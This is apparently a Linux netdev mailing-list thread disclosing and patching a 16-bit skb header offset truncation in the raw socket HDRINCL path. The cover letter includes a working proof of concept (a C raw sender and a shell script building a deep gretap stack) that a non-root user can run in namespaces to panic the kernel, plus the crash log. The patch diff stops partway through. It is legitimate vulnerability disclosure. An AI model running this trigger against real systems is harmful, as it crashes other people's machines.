All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH net 0/1] net: skbuff: reject skb header offset updates that truncate
@ 2026-07-29 18:40 Zihan Xi
  2026-07-29 18:40 ` [PATCH net 1/1] " Zihan Xi
  0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-07-29 18:40 UTC (permalink / raw)
  To: netdev
  Cc: davem, edumazet, pabeni, horms, steffen.klassert, herbert,
	kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, willemb,
	jlayton, gustavoars, michael.bommarito, runyu.xiao, kees,
	lirongqing, vega, zihanx

Hi Linux kernel maintainers,

We found and validated a issue in net/ipv4/raw.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before storing
skb header offsets in 16-bit fields. The skb header offsets are 16-bit values
since commit 1a37e412a022 ("net: Use 16bits for *_headers fields of struct
skbuff"), and U16_MAX is also the unset sentinel for transport_header.

With a deep gretap stack, the effective hard_header_len + needed_headroom can
grow to 65534 and LL_RESERVED_SPACE() rounds that up to 65536. On the IPv4
hdrincl path, skb_reserve(skb, hlen) followed by skb_reset_network_header(skb)
stores skb->data - skb->head in the 16-bit network_header field. When hlen
reaches 65536, that stored offset truncates to 0. raw_send_hdrinc() then copies
the userspace IPv4 header to ip_hdr(skb) at the wrapped offset, and the
malformed skb later crashes in eth_header() during the raw send path.

IPv4 also has a second boundary at hlen + iphlen, because the transport header
is advanced by the user-controlled IPv4 header length. The lower-level issue is
more general than raw.c itself: once an skb already contains large 16-bit
header offsets, later positive skb header offset updates can wrap those values
or turn transport_header into the U16_MAX sentinel.

The initial raw route is not the only place that matters. LOCAL_OUT can reroute
the skb, XFRM can add dst->header_len, and LWT or other output paths can grow
or copy the skb state later. A raw-only final callback check or a
pskb_expand_head()-only guard is therefore too narrow. The fix keeps the raw
hdrincl initial bounds, rejects later positive skb header offset updates in
net/core/skbuff.c before they would overflow the stored 16-bit values, and also
rejects later transport_header recomputations in net/xfrm/xfrm_output.c before
they would overflow or hit the U16_MAX sentinel.

A related public proposal titled "net: reject IP sends with excessive
headroom" exists, but it is not a previous version of this series. It
rejects selected IP output callers before they store large offsets; this
patch instead keeps the raw HDRINCL entry checks and also validates later
positive skb header offset updates.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

The inline poc.c is only the raw sender. For the reproduced crash, run the
wrapper below instead so that the gretap stack and the default g1560 interface
used by poc.c are created first:

    chmod +x poc.sh
    unshare -Urn ./poc.sh

On the fixed kernel, the same isolated trigger path returns
sendto: Invalid argument instead of crashing.

We did not switch this reproducer to packetdrill because the core trigger
requires creating and chaining a very deep gretap device stack first, while
packetdrill is not a good fit for expressing that netdevice construction
workflow.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static uint16_t ip_checksum(const void *buf, size_t len)
{
	const uint8_t *p = buf;
	uint32_t sum = 0;

	while (len > 1) {
		sum += ((uint32_t)p[0] << 8) | p[1];
		p += 2;
		len -= 2;
	}

	if (len)
		sum += (uint32_t)p[0] << 8;

	while (sum >> 16)
		sum = (sum & 0xffffU) + (sum >> 16);

	return (uint16_t)~sum;
}

int main(int argc, char **argv)
{
	static const char payload[] = "ABCD";
	const char *ifname = argc > 1 ? argv[1] : "g1560";
	const char *dst_str = argc > 2 ? argv[2] : "192.0.2.2";
	const char *src_str = argc > 3 ? argv[3] : "192.0.2.1";
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
	};
	struct iphdr iph = {
		.version = 4,
		.ihl = 5,
		.tos = 0,
		.tot_len = htons(sizeof(struct iphdr) + sizeof(payload) - 1),
		.id = htons(0x1234),
		.frag_off = 0,
		.ttl = 64,
		.protocol = 253,
		.check = 0,
	};
	unsigned char packet[sizeof(iph) + sizeof(payload) - 1];
	int fd;
	ssize_t n;

	if (inet_pton(AF_INET, src_str, &iph.saddr) != 1) {
		fprintf(stderr, "bad src %s\n", src_str);
		return 1;
	}
	if (inet_pton(AF_INET, dst_str, &iph.daddr) != 1) {
		fprintf(stderr, "bad dst %s\n", dst_str);
		return 1;
	}
	if (inet_pton(AF_INET, dst_str, &dst.sin_addr) != 1) {
		fprintf(stderr, "bad sockaddr dst %s\n", dst_str);
		return 1;
	}

	iph.check = ip_checksum(&iph, sizeof(iph));
	memcpy(packet, &iph, sizeof(iph));
	memcpy(packet + sizeof(iph), payload, sizeof(payload) - 1);

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (fd < 0) {
		perror("socket");
		return 1;
	}

	{
		int one = 1;

		if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
			perror("setsockopt(IP_HDRINCL)");
			close(fd);
			return 1;
		}
		if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, ifname,
			       strlen(ifname) + 1) < 0) {
			perror("setsockopt(SO_BINDTODEVICE)");
			close(fd);
			return 1;
		}
	}

	n = sendto(fd, packet, sizeof(packet), 0,
		   (struct sockaddr *)&dst, sizeof(dst));
	if (n < 0) {
		perror("sendto");
		close(fd);
		return 1;
	}

	printf("sent %zd bytes via %s to %s\n", n, ifname, dst_str);
	close(fd);
	return 0;
}
------END poc.c--------

------BEGIN poc.sh------
#!/bin/sh
set -eu

DEPTH="${DEPTH:-1560}"
TOP="g${DEPTH}"

if ip route show default 2>/dev/null | grep -q .; then
	echo "run inside an isolated netns, e.g. unshare -n $0 or unshare -Urn $0" >&2
	exit 1
fi

ip link add dummy0 type dummy
ip link set dummy0 up mtu 100000

lower="dummy0"
i=1
while [ "$i" -le "$DEPTH" ]; do
	a=$(( (i / 250) % 250 + 1 ))
	b=$(( i % 250 + 1 ))
	lip="10.${a}.${b}.1"
	rip="10.${a}.${b}.2"
	ip link add "g${i}" type gretap local "${lip}" remote "${rip}" dev "${lower}" key 1
	lower="g${i}"
	i=$((i + 1))
done

ip link set "${TOP}" up
ip addr add 192.0.2.1/24 dev "${TOP}"
ip neigh replace 192.0.2.2 lladdr 02:11:22:33:44:55 nud permanent dev "${TOP}"

exec ./poc "${TOP}" 192.0.2.2 192.0.2.1
------END poc.sh--------

The crash log below is taken from the local decode_stacktrace.sh
output on the latest selected baseline, and this refreshed decode
now resolves the key frames to file:line locations.

----BEGIN crash log----
[   52.208710] BUG: unable to handle page fault for address: ffffa3986611fffe
[   52.220274] #PF: supervisor write access in kernel mode
[   52.228822] #PF: error_code(0x0002) - not-present page
[   52.239552] PGD 73065067 P4D 73065067 PUD 0 
[   52.249792] Oops: Oops: 0002 [#1] SMP NOPTI
[   52.257276] CPU: 0 UID: 0 PID: 491 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c-dirty #2 PREEMPT(lazy)
[   52.275220] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   52.313650] RIP: 0010:eth_header (net/ethernet/eth.c:86)
[   52.420112] RSP: 0018:ffffa39840b8b640 EFLAGS: 00010246
[   52.431246] RAX: ffffa3986611fff2 RBX: 0000000000000000 RCX: 0000000000000014
[   52.445426] RDX: 000000000000000e RSI: 0000000000000000 RDI: ffff98744c7cb5f8
[   52.460207] RBP: 000000000e000000 R08: 00000000ffffa398 R09: 0000000000000000
[   52.474828] R10: 0000000000000000 R11: 0000000000000000 R12: 000000000000000e
[   52.490089] R13: 0000000000000014 R14: ffff98744c7cb5f8 R15: ffffa3986611fff2
[   52.585894] Call Trace:
[   52.588953]  <TASK>
[   52.591902]  neigh_resolve_output+0xe3/0x1c0
[   52.597910]  ip_finish_output2+0x156/0x510
[   52.603665]  ip_output+0xb9/0x170
[   52.616159]  raw_sendmsg (net/ipv4/raw.c:677)
[   52.638531]  __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[   52.643321]  __x64_sys_sendto+0x1f/0x30
[   52.648330]  do_syscall_64+0xf9/0x540
[   52.653123]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   52.998357] Kernel panic - not syncing: Fatal exception
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  net: skbuff: reject skb header offset updates that truncate

 include/linux/skbuff.h  | 28 ++++++++++++
 net/core/skbuff.c       | 94 ++++++++++++++++++++++++++++++++++++++---
 net/ipv4/esp4_offload.c | 15 ++++---
 net/ipv4/raw.c          |  4 ++
 net/ipv6/esp6_offload.c | 15 ++++---
 net/ipv6/raw.c          |  4 ++
 net/xfrm/xfrm_device.c  | 38 ++++++++++++-----
 net/xfrm/xfrm_iptfs.c   |  6 ++-
 net/xfrm/xfrm_output.c  | 21 ++++++---
 9 files changed, 189 insertions(+), 36 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net 1/1] net: skbuff: reject skb header offset updates that truncate
  2026-07-29 18:40 [PATCH net 0/1] net: skbuff: reject skb header offset updates that truncate Zihan Xi
@ 2026-07-29 18:40 ` Zihan Xi
  0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-07-29 18:40 UTC (permalink / raw)
  To: netdev
  Cc: davem, edumazet, pabeni, horms, steffen.klassert, herbert,
	kerneljasonxing, kuniyu, bjorn, bigeasy, jiayuan.chen, willemb,
	jlayton, gustavoars, michael.bommarito, runyu.xiao, kees,
	lirongqing, vega, zihanx

raw_send_hdrinc() and rawv6_send_hdrinc() reserve LL headroom before
storing skb header offsets in 16-bit fields. If the reserved headroom
grows past the representable range, skb_reset_network_header() truncates
the stored offset and the hdrincl path later copies the user header to
the wrong location.

On IPv4 this can also happen after the user header is copied, because the
transport header is advanced by iphlen. The value U16_MAX itself is not a
valid transport header offset either, because it is used as the unset
sentinel.

The initial raw route is not the only place that matters. LOCAL_OUT can
reroute the skb, XFRM can add dst->header_len, and LWT or other output
paths can grow the skb head later. More generally, positive calls into
skb_headers_offset_update() can wrap these 16-bit offsets, while later
paths that recompute transport_header from network_header can still
overflow it or turn it into the U16_MAX sentinel.

Reject hdrincl sends when the initial reserved LL headroom cannot fit in
the skb header offset fields, and reject later positive skb header offset
updates or transport-header recomputations before they would overflow the
stored 16-bit values.

Fixes: 1a37e412a022 ("net: Use 16bits for *_headers fields of struct skbuff")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 include/linux/skbuff.h  | 28 ++++++++++++
 net/core/skbuff.c       | 94 ++++++++++++++++++++++++++++++++++++++---
 net/ipv4/esp4_offload.c | 15 ++++---
 net/ipv4/raw.c          |  4 ++
 net/ipv6/esp6_offload.c | 15 ++++---
 net/ipv6/raw.c          |  4 ++
 net/xfrm/xfrm_device.c  | 38 ++++++++++++-----
 net/xfrm/xfrm_iptfs.c   |  6 ++-
 net/xfrm/xfrm_output.c  | 21 ++++++---
 9 files changed, 189 insertions(+), 36 deletions(-)

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 22eda1d54..51cd63566 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -3126,6 +3126,34 @@ static inline void skb_set_transport_header(struct sk_buff *skb,
 	skb->transport_header += offset;
 }
 
+static inline bool __must_check
+skb_set_transport_header_careful(struct sk_buff *skb, const int offset)
+{
+	if (unlikely(offset < 0 || offset >= U16_MAX))
+		return false;
+	if (unlikely(skb->network_header >= U16_MAX - offset))
+		return false;
+
+	skb->transport_header = skb->network_header + offset;
+	return true;
+}
+
+static inline bool __must_check
+skb_transport_header_add_careful(struct sk_buff *skb, const int offset)
+{
+	if (unlikely(offset > 0)) {
+		if (unlikely(!skb_transport_header_was_set(skb)))
+			return false;
+		if (unlikely(offset >= U16_MAX))
+			return false;
+		if (unlikely(skb->transport_header >= U16_MAX - offset))
+			return false;
+	}
+
+	skb->transport_header += offset;
+	return true;
+}
+
 static inline unsigned char *skb_network_header(const struct sk_buff *skb)
 {
 	return skb->head + skb->network_header;
diff --git a/net/core/skbuff.c b/net/core/skbuff.c
index ba3dbac80..1752f6abe 100644
--- a/net/core/skbuff.c
+++ b/net/core/skbuff.c
@@ -387,6 +387,8 @@ u32 napi_skb_cache_get_bulk(void **skbs, u32 n)
 }
 EXPORT_SYMBOL_GPL(napi_skb_cache_get_bulk);
 
+static int skb_headers_offset_update_careful(struct sk_buff *skb, int off);
+
 static inline void __finalize_skb_around(struct sk_buff *skb, void *data,
 					 unsigned int size)
 {
@@ -976,7 +978,11 @@ int skb_pp_cow_data(struct page_pool *pool, struct sk_buff **pskb,
 	skb_put(nskb, size);
 
 	head_off = skb_headroom(nskb) - skb_headroom(skb);
-	skb_headers_offset_update(nskb, head_off);
+	err = skb_headers_offset_update_careful(nskb, head_off);
+	if (err) {
+		consume_skb(nskb);
+		return err;
+	}
 
 	off = size;
 	len = skb->len - off;
@@ -2140,6 +2146,61 @@ void skb_headers_offset_update(struct sk_buff *skb, int off)
 }
 EXPORT_SYMBOL(skb_headers_offset_update);
 
+static bool skb_header_offset_overflow(unsigned int offset, int add)
+{
+	if (add <= 0)
+		return false;
+	if (add > U16_MAX)
+		return true;
+
+	return offset > U16_MAX - add;
+}
+
+static bool skb_transport_header_offset_overflow(unsigned int offset, int add)
+{
+	if (add <= 0)
+		return false;
+	if (add >= U16_MAX)
+		return true;
+
+	return offset >= U16_MAX - add;
+}
+
+static bool skb_headers_offset_overflow(const struct sk_buff *skb, int off)
+{
+	if (skb_header_offset_overflow(skb->network_header, off))
+		return true;
+	if (skb_transport_header_was_set(skb) &&
+	    skb_transport_header_offset_overflow(skb->transport_header, off))
+		return true;
+	if (skb_mac_header_was_set(skb) &&
+	    skb_header_offset_overflow(skb->mac_header, off))
+		return true;
+	if (skb_header_offset_overflow(skb->inner_transport_header, off))
+		return true;
+	if (skb_inner_network_header_was_set(skb)) {
+		if (skb_header_offset_overflow(skb->inner_network_header, off))
+			return true;
+		if (skb_header_offset_overflow(skb->inner_mac_header, off))
+			return true;
+	}
+	if (skb->ip_summed == CHECKSUM_PARTIAL &&
+	    skb_header_offset_overflow(skb->csum_start, off))
+		return true;
+
+	return false;
+}
+
+static int skb_headers_offset_update_careful(struct sk_buff *skb, int off)
+{
+	if (skb_headers_offset_overflow(skb, off))
+		return -EOVERFLOW;
+
+	skb_headers_offset_update(skb, off);
+
+	return 0;
+}
+
 void skb_copy_header(struct sk_buff *new, const struct sk_buff *old)
 {
 	__copy_skb_header(new, old);
@@ -2304,6 +2365,9 @@ int pskb_expand_head(struct sk_buff *skb, int nhead, int ntail,
 
 	BUG_ON(skb_shared(skb));
 
+	if (skb_headers_offset_overflow(skb, nhead))
+		return -EOVERFLOW;
+
 	skb_zcopy_downgrade_managed(skb);
 
 	if (skb_pfmemalloc(skb))
@@ -2541,7 +2605,10 @@ struct sk_buff *skb_copy_expand(const struct sk_buff *skb,
 
 	skb_copy_header(n, skb);
 
-	skb_headers_offset_update(n, newheadroom - oldheadroom);
+	if (skb_headers_offset_update_careful(n, newheadroom - oldheadroom)) {
+		kfree_skb(n);
+		return NULL;
+	}
 
 	return n;
 }
@@ -4680,7 +4747,7 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
 	unsigned int delta_len = 0;
 	struct sk_buff *tail = NULL;
 	struct sk_buff *nskb, *tmp;
-	int len_diff, err;
+	int head_off, len_diff, err;
 
 	/* Only skb_gro_receive_list generated skbs arrive here */
 	DEBUG_NET_WARN_ON_ONCE(!(skb_shinfo(skb)->gso_type & SKB_GSO_FRAGLIST));
@@ -4732,8 +4799,17 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
 		len_diff = skb_network_header_len(nskb) - skb_network_header_len(skb);
 		__copy_skb_header(nskb, skb);
 
-		skb_headers_offset_update(nskb, skb_headroom(nskb) - skb_headroom(skb));
-		nskb->transport_header += len_diff;
+		head_off = skb_headroom(nskb) - skb_headroom(skb);
+		err = skb_headers_offset_update_careful(nskb, head_off);
+		if (unlikely(err)) {
+			nskb->next = list_skb;
+			goto err_list;
+		}
+		if (unlikely(!skb_transport_header_add_careful(nskb, len_diff))) {
+			err = -EOVERFLOW;
+			nskb->next = list_skb;
+			goto err_list;
+		}
 		skb_copy_from_linear_data_offset(skb, -tnl_hlen,
 						 nskb->data - tnl_hlen,
 						 offset + tnl_hlen);
@@ -4759,9 +4835,11 @@ struct sk_buff *skb_segment_list(struct sk_buff *skb,
 	return skb;
 
 err_linearize:
+	err = -ENOMEM;
+err_list:
 	kfree_skb_list(skb->next);
 	skb->next = NULL;
-	return ERR_PTR(-ENOMEM);
+	return ERR_PTR(err);
 }
 EXPORT_SYMBOL_GPL(skb_segment_list);
 
@@ -4961,7 +5039,9 @@ struct sk_buff *skb_segment(struct sk_buff *head_skb,
 
 		__copy_skb_header(nskb, head_skb);
 
-		skb_headers_offset_update(nskb, skb_headroom(nskb) - headroom);
+		err = skb_headers_offset_update_careful(nskb, skb_headroom(nskb) - headroom);
+		if (unlikely(err))
+			goto err;
 		skb_reset_mac_len(nskb);
 
 		skb_copy_from_linear_data_offset(head_skb, -tnl_hlen,
diff --git a/net/ipv4/esp4_offload.c b/net/ipv4/esp4_offload.c
index abd77162f..075999b95 100644
--- a/net/ipv4/esp4_offload.c
+++ b/net/ipv4/esp4_offload.c
@@ -138,7 +138,8 @@ static struct sk_buff *xfrm4_transport_gso_segment(struct xfrm_state *x,
 	struct sk_buff *segs = ERR_PTR(-EINVAL);
 	struct xfrm_offload *xo = xfrm_offload(skb);
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_transport_header_add_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 	ops = rcu_dereference(inet_offloads[xo->proto]);
 	if (likely(ops && ops->callbacks.gso_segment))
 		segs = ops->callbacks.gso_segment(skb, features);
@@ -155,14 +156,17 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
 	const struct net_offload *ops;
 	u8 proto = xo->proto;
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_transport_header_add_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 
 	if (x->sel.family != AF_INET6) {
 		if (proto == IPPROTO_BEETPH) {
 			struct ip_beet_phdr *ph =
 				(struct ip_beet_phdr *)skb->data;
 
-			skb->transport_header += ph->hdrlen * 8;
+			if (!skb_transport_header_add_careful(
+				    skb, ph->hdrlen * 8))
+				return ERR_PTR(-EOVERFLOW);
 			proto = ph->nexthdr;
 		} else {
 			skb->transport_header -= IPV4_BEET_PHMAXLEN;
@@ -170,8 +174,9 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
 	} else {
 		__be16 frag;
 
-		skb->transport_header +=
-			ipv6_skip_exthdr(skb, 0, &proto, &frag);
+		if (!skb_transport_header_add_careful(
+			    skb, ipv6_skip_exthdr(skb, 0, &proto, &frag)))
+			return ERR_PTR(-EOVERFLOW);
 		if (proto == IPPROTO_TCP)
 			skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV4;
 	}
diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c
index 7f74d8b95..16354bf76 100644
--- a/net/ipv4/raw.c
+++ b/net/ipv4/raw.c
@@ -356,6 +356,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
 		goto out;
 
 	hlen = LL_RESERVED_SPACE(rt->dst.dev);
+	if (hlen >= U16_MAX - sizeof(struct iphdr))
+		return -EINVAL;
 	tlen = rt->dst.dev->needed_tailroom;
 	skb = sock_alloc_send_skb(sk,
 				  length + hlen + tlen + 15,
@@ -399,6 +401,8 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4,
 	err = -EINVAL;
 	if (iphlen > length || iphlen < sizeof(*iph))
 		goto error_free;
+	if (hlen >= U16_MAX - iphlen)
+		goto error_free;
 
 	if (iphlen >= sizeof(*iph)) {
 		if (!iph->saddr)
diff --git a/net/ipv6/esp6_offload.c b/net/ipv6/esp6_offload.c
index 22895521a..d074ad7da 100644
--- a/net/ipv6/esp6_offload.c
+++ b/net/ipv6/esp6_offload.c
@@ -174,7 +174,8 @@ static struct sk_buff *xfrm6_transport_gso_segment(struct xfrm_state *x,
 	struct sk_buff *segs = ERR_PTR(-EINVAL);
 	struct xfrm_offload *xo = xfrm_offload(skb);
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_transport_header_add_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 	ops = rcu_dereference(inet6_offloads[xo->proto]);
 	if (likely(ops && ops->callbacks.gso_segment))
 		segs = ops->callbacks.gso_segment(skb, features);
@@ -191,7 +192,8 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
 	const struct net_offload *ops;
 	u8 proto = xo->proto;
 
-	skb->transport_header += x->props.header_len;
+	if (!skb_transport_header_add_careful(skb, x->props.header_len))
+		return ERR_PTR(-EOVERFLOW);
 
 	if (x->sel.family != AF_INET6) {
 		skb->transport_header -=
@@ -201,7 +203,9 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
 			struct ip_beet_phdr *ph =
 				(struct ip_beet_phdr *)skb->data;
 
-			skb->transport_header += ph->hdrlen * 8;
+			if (!skb_transport_header_add_careful(
+				    skb, ph->hdrlen * 8))
+				return ERR_PTR(-EOVERFLOW);
 			proto = ph->nexthdr;
 		} else {
 			skb->transport_header -= IPV4_BEET_PHMAXLEN;
@@ -212,8 +216,9 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
 	} else {
 		__be16 frag;
 
-		skb->transport_header +=
-			ipv6_skip_exthdr(skb, 0, &proto, &frag);
+		if (!skb_transport_header_add_careful(
+			    skb, ipv6_skip_exthdr(skb, 0, &proto, &frag)))
+			return ERR_PTR(-EOVERFLOW);
 	}
 
 	if (proto == IPPROTO_IPIP)
diff --git a/net/ipv6/raw.c b/net/ipv6/raw.c
index b88d364e7..fa223ec02 100644
--- a/net/ipv6/raw.c
+++ b/net/ipv6/raw.c
@@ -15,6 +15,7 @@
  */
 
 #include <linux/errno.h>
+#include <linux/limits.h>
 #include <linux/types.h>
 #include <linux/socket.h>
 #include <linux/slab.h>
@@ -613,6 +614,9 @@ static int rawv6_send_hdrinc(struct sock *sk, struct msghdr *msg, int length,
 	if (flags&MSG_PROBE)
 		goto out;
 
+	if (hlen >= U16_MAX)
+		return -EINVAL;
+
 	skb = sock_alloc_send_skb(sk,
 				  length + hlen + tlen + 15,
 				  flags & MSG_DONTWAIT, &err);
diff --git a/net/xfrm/xfrm_device.c b/net/xfrm/xfrm_device.c
index f153bf695..f005f1e3b 100644
--- a/net/xfrm/xfrm_device.c
+++ b/net/xfrm/xfrm_device.c
@@ -20,7 +20,7 @@
 #include <linux/notifier.h>
 
 #ifdef CONFIG_XFRM_OFFLOAD
-static void __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
+static bool __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
 				  unsigned int hsize)
 {
 	struct xfrm_offload *xo = xfrm_offload(skb);
@@ -30,30 +30,34 @@ static void __xfrm_transport_prep(struct xfrm_state *x, struct sk_buff *skb,
 		skb->transport_header -= x->props.header_len;
 
 	pskb_pull(skb, skb_transport_offset(skb) + x->props.header_len);
+	return true;
 }
 
-static void __xfrm_mode_tunnel_prep(struct xfrm_state *x, struct sk_buff *skb,
+static bool __xfrm_mode_tunnel_prep(struct xfrm_state *x, struct sk_buff *skb,
 				    unsigned int hsize)
 
 {
 	struct xfrm_offload *xo = xfrm_offload(skb);
 
-	if (xo->flags & XFRM_GSO_SEGMENT)
-		skb->transport_header = skb->network_header + hsize;
+	if (xo->flags & XFRM_GSO_SEGMENT &&
+	    !skb_set_transport_header_careful(skb, hsize))
+		return false;
 
 	skb_reset_mac_len(skb);
 	pskb_pull(skb,
 		  skb->mac_len + x->props.header_len - x->props.enc_hdr_len);
+	return true;
 }
 
-static void __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
+static bool __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
 				  unsigned int hsize)
 {
 	struct xfrm_offload *xo = xfrm_offload(skb);
 	int phlen = 0;
 
-	if (xo->flags & XFRM_GSO_SEGMENT)
-		skb->transport_header = skb->network_header + hsize;
+	if (xo->flags & XFRM_GSO_SEGMENT &&
+	    !skb_set_transport_header_careful(skb, hsize))
+		return false;
 
 	skb_reset_mac_len(skb);
 	if (x->sel.family != AF_INET6) {
@@ -63,10 +67,11 @@ static void __xfrm_mode_beet_prep(struct xfrm_state *x, struct sk_buff *skb,
 	}
 
 	pskb_pull(skb, skb->mac_len + hsize + (x->props.header_len - phlen));
+	return true;
 }
 
 /* Adjust pointers into the packet when IPsec is done at layer2 */
-static void xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
+static bool xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
 {
 	switch (x->outer_mode.encap) {
 	case XFRM_MODE_IPTFS:
@@ -98,6 +103,8 @@ static void xfrm_outer_mode_prep(struct xfrm_state *x, struct sk_buff *skb)
 	case XFRM_MODE_IN_TRIGGER:
 		break;
 	}
+
+	return true;
 }
 
 static inline bool xmit_xfrm_check_overflow(struct sk_buff *skb)
@@ -175,7 +182,12 @@ struct sk_buff *validate_xmit_xfrm(struct sk_buff *skb, netdev_features_t featur
 
 	if (!skb->next) {
 		esp_features |= skb->dev->gso_partial_features;
-		xfrm_outer_mode_prep(x, skb);
+		if (!xfrm_outer_mode_prep(x, skb)) {
+			XFRM_INC_STATS(xs_net(x),
+				       LINUX_MIB_XFRMOUTSTATEPROTOERROR);
+			kfree_skb(skb);
+			return NULL;
+		}
 
 		xo->flags |= XFRM_DEV_RESUME;
 
@@ -201,7 +213,13 @@ struct sk_buff *validate_xmit_xfrm(struct sk_buff *skb, netdev_features_t featur
 		xo = xfrm_offload(skb2);
 		xo->flags |= XFRM_DEV_RESUME;
 
-		xfrm_outer_mode_prep(x, skb2);
+		if (!xfrm_outer_mode_prep(x, skb2)) {
+			XFRM_INC_STATS(xs_net(x),
+				       LINUX_MIB_XFRMOUTSTATEPROTOERROR);
+			skb2->next = nskb;
+			kfree_skb_list(skb2);
+			return NULL;
+		}
 
 		err = x->type_offload->xmit(x, skb2, esp_features);
 		if (!err) {
diff --git a/net/xfrm/xfrm_iptfs.c b/net/xfrm/xfrm_iptfs.c
index 597aedeac..13b62bcd9 100644
--- a/net/xfrm/xfrm_iptfs.c
+++ b/net/xfrm/xfrm_iptfs.c
@@ -2379,7 +2379,8 @@ static int iptfs_encap_add_ipv4(struct xfrm_state *x, struct sk_buff *skb)
 
 	skb_set_network_header(skb, -(x->props.header_len - x->props.enc_hdr_len));
 	skb->mac_header = skb->network_header + offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 
 	top_iph = ip_hdr(skb);
 	top_iph->ihl = 5;
@@ -2426,7 +2427,8 @@ static int iptfs_encap_add_ipv6(struct xfrm_state *x, struct sk_buff *skb)
 
 	skb_set_network_header(skb, -x->props.header_len + x->props.enc_hdr_len);
 	skb->mac_header = skb->network_header + offsetof(struct ipv6hdr, nexthdr);
-	skb->transport_header = skb->network_header + sizeof(*top_iph);
+	if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+		return -EOVERFLOW;
 
 	top_iph = ipv6_hdr(skb);
 	top_iph->version = 6;
diff --git a/net/xfrm/xfrm_output.c b/net/xfrm/xfrm_output.c
index cc35c2fcb..0cebe752c 100644
--- a/net/xfrm/xfrm_output.c
+++ b/net/xfrm/xfrm_output.c
@@ -73,7 +73,8 @@ static int xfrm4_transport_output(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_network_header(skb, -x->props.header_len);
 	skb->mac_header = skb->network_header +
 			  offsetof(struct iphdr, protocol);
-	skb->transport_header = skb->network_header + ihl;
+	if (!skb_set_transport_header_careful(skb, ihl))
+		return -EOVERFLOW;
 	__skb_pull(skb, ihl);
 	memmove(skb_network_header(skb), iph, ihl);
 	return 0;
@@ -179,7 +180,8 @@ static int xfrm6_transport_output(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_mac_header(skb,
 			   (prevhdr - x->props.header_len) - skb->data);
 	skb_set_network_header(skb, -x->props.header_len);
-	skb->transport_header = skb->network_header + hdr_len;
+	if (!skb_set_transport_header_careful(skb, hdr_len))
+		return -EOVERFLOW;
 	__skb_pull(skb, hdr_len);
 	memmove(ipv6_hdr(skb), iph, hdr_len);
 	return 0;
@@ -209,7 +211,8 @@ static int xfrm6_ro_output(struct xfrm_state *x, struct sk_buff *skb)
 	skb_set_mac_header(skb,
 			   (prevhdr - x->props.header_len) - skb->data);
 	skb_set_network_header(skb, -x->props.header_len);
-	skb->transport_header = skb->network_header + hdr_len;
+	if (!skb_set_transport_header_careful(skb, hdr_len))
+		return -EOVERFLOW;
 	__skb_pull(skb, hdr_len);
 	memmove(ipv6_hdr(skb), iph, hdr_len);
 
@@ -241,7 +244,8 @@ static int xfrm4_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
